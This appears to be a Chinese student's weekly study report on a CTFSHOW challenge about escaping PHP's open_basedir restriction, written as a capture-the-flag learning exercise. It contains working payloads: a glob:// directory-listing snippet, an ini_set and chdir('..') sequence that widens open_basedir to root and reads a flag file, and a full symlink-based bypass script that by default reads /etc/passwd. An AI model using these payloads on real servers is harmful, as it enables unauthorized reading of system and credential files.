学习周报之open_basedir绕过

一：

CTFSHOW805：

看到这个地方没有过滤信息就直接试了一下1=system(‘ls’);去读目录但是发现没反应就去看了一下phpinfo发现它是ban了很多函数然后open_basedir也开了所以这题就是要我们绕过open_basedir的题目，这类题在ctfshow命令执行的题中有出现过，就是通过glob协议进行目录读取，但是我忘了所以又重新学了一下glob协议的用法

glob伪协议

1=$a="glob:///*";

if($b=opendir($a)){

while (($file=readdir($b))!==false)

{echo $file." ";

}

closedir($b);

};

扫描目录得

然后因为有open_basedir限制目录，所以需要更改open_basedir限制的范围（注open_basedir范围修改不是随意修改，只能缩小不能变大，而且在任何目录下都有..和.目录）

姿势一:先创文件夹，在当前目录构造可以..的ini_set，然后通过多次chdir('..');跳转到根目录

mkdir("s");

chdir('s');

ini_set('open_basedir','..');

chdir('..');

chdir('..');

chdir('..');

chdir('..');

ini_set('open_basedir','/');

echo file_get_contents("/ctfshowflag");

姿势二:

直接上传p神脚本（但是太菜了还看不懂脚本怎么实现的）

<?php

/*

* by phithon

* From https://www.leavesongs.com

* detail: http://cxsecurity.com/issue/WLB-2009110068

*/

header('content-type: text/plain');

error_reporting(-1);

ini_set('display_errors', TRUE);

printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());

printf("disable_functions: %s\n", ini_get('disable_functions'));

$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');

$relat_file = getRelativePath(__FILE__, $file);

$paths = explode('/', $file);

$name = mt_rand() % 999;

$exp = getRandStr();

mkdir($name);

chdir($name);

for($i = 1 ; $i < count($paths) - 1 ; $i++){

    mkdir($paths[$i]);

    chdir($paths[$i]);

}

mkdir($paths[$i]);

for ($i -= 1; $i > 0; $i--) {

    chdir('..');

}

$paths = explode('/', $relat_file);

$j = 0;

for ($i = 0; $paths[$i] == '..'; $i++) {

    mkdir($name);

    chdir($name);

    $j++;

}

for ($i = 0; $i <= $j; $i++) {

    chdir('..');

}

$tmp = array_fill(0, $j + 1, $name);

symlink(implode('/', $tmp), 'tmplink');

$tmp = array_fill(0, $j, '..');

symlink('tmplink/' . implode('/', $tmp) . $file, $exp);

unlink('tmplink');

mkdir('tmplink');

delfile($name);

$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";

$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";

echo "\n-----------------content---------------\n\n";

echo file_get_contents($exp);

delfile('tmplink');

function getRelativePath($from, $to) {

  // some compatibility fixes for Windows paths

  $from = rtrim($from, '\/') . '/';

  $from = str_replace('\\', '/', $from);

  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);

  $to     = explode('/', $to);

  $relPath  = $to;

  foreach($from as $depth => $dir) {

    // find first non-matching dir

    if($dir === $to[$depth]) {

      // ignore this directory

      array_shift($relPath);

    } else {

      // get number of remaining dirs to $from

      $remaining = count($from) - $depth;

      if($remaining > 1) {

        // add traversals up to first matching dir

        $padLength = (count($relPath) + $remaining - 1) * -1;

        $relPath = array_pad($relPath, $padLength, '..');

        break;

      } else {

        $relPath[0] = './' . $relPath[0];

      }

    }

  }

  return implode('/', $relPath);

}

function delfile($deldir){

    if (@is_file($deldir)) {

        @chmod($deldir,0777);

        return @unlink($deldir);

    }else if(@is_dir($deldir)){

        if(($mydir = @opendir($deldir)) == NULL) return false;

        while(false !== ($file = @readdir($mydir)))

        {

            $name = File_Str($deldir.'/'.$file);

            if(($file!='.') && ($file!='..')){delfile($name);}

        }

        @closedir($mydir);

        @chmod($deldir,0777);

        return @rmdir($deldir) ? true : false;

    }

}

function File_Str($string)

{

    return str_replace('//','/',str_replace('\\','/',$string));

}

function getRandStr($length = 6) {

    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

    $randStr = '';

    for ($i = 0; $i < $length; $i++) {

        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);

    }

    return $randStr;

}

二：未完成事项及原因

最近答辩和考试和其他事情太多了，这周自由太少，所以学的东西也比较少，而且最近对于学哪些知识比较迷茫，可能之后得做一个计划

三：下周计划做的事

学习反序列化

四：相关知识分享

glob协议：(27条消息) 『CTF Tricks』PHP-绕过open_basedir_Ho1aAs的博客-CSDN博客

chdir绕过open_basedir：(27条消息) [SUCTF 2019]EasyWeb【chdir()绕过open_basedir】_D.MIND的博客-CSDN博客